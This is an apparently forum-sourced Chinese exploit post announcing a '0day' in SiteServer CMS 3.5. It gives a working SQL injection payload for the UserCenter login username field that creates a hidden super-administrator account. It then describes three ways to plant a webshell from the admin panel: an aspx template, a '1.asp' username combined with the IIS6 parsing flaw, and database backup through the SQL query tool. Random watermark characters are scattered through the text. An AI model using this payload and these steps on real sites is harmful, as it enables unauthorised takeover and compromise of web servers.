SiteServer CMS 0Day

admin

经测试秒杀最新的3.5版
$ Q" e7 |- d9 s( s. g' Y$ W6 k
stieserver官网:www.siteserver.cn

* v6 p! x) o) @5 z

EXP:

直接访问UserCenter/login.aspx
0 j  I1 P4 n3 |# K- a# K


用户名处输入：

, O, B; b" K& L123'insert into bairong_Administrator([UserName],[Password],[PasswordFormat],[PasswordSalt]) values('blue','VffSUZcBPo4=','Encrypted','i7jq4LwC25wKDoqHErBWaw==');insert into bairong_AdministratorsInRoles values('Administrator','blue');insert into bairong_AdministratorsInRoles values('RegisteredUser','blue');insert into bairong_AdministratorsInRoles values('ConsoleAdministrator','blue');--

. Q/ g. M3 v5 F4 N& ]
4 c2 _. b2 z5 |& l& H$ G$ f
& r& E& l9 g1 D$ ]* W& e* t密码为空，输入验证码后提交，既可向数据库中插入一个用户名为blue  密码为lanhai的超级用户。


6 S  Y2 m6 Q- j- Q" U; m' U
# E, X/ z$ q2 a8 v, N* I0 f1 q# S( |之后再访问后台SiteServer/login.aspx用插入的用户登陆

5 s9 C5 T2 K% w
" z6 x) n9 W* Q1 i( q
: O" a% y+ s3 Q2 U) }后台拿webshell的三种方法：

* v+ U! e& ^" i一、
* n2 M/ ], p* V
站点管理-》显示功能-》模板管理-》添加单页模板-》直接生成aspx
4 N0 h( ]  ]8 q  m/ h
) h0 _' c3 ?& e; Z- @0 `二、
- {3 Y2 y: l5 C: ]# B
% {7 U. b4 [& A- c9 {  _成员权限-》添加用户-》用户名为：1.asp

( B3 G- }' d: Y2 s* Q( ^1 ahttp://127.0.0.1/usercenter/

: {4 K5 V- \" [8 `用刚才添加的1.asp去登陆，进去之后上传个人头像，利用IIS6解析漏洞得webshell
- n) u3 v% |7 Q  {4 w* K8 G/ w& {
$ |7 _9 f( J1 g3 \( Q2 _% N（ps：后台添加用户时不会验证是否含有非法字符）

) N9 Z7 h$ \" P) S. [  y& z三、

系统工具-》实用工具-》机器参数查看
可以看到数据库类型、名称，WEB路径

系统工具-》数据库工具-》SQL语句查询
# ]0 D$ |1 b# h% t2 c这功能做的不错，直接就相当于一个查询分析器，什么回显都有，可以backup得webshell，或者利用sqlserver配置不当直接XXOO。
1 [  Q( P5 _- f5 v
5 \4 |/ \  p; a& O# W& w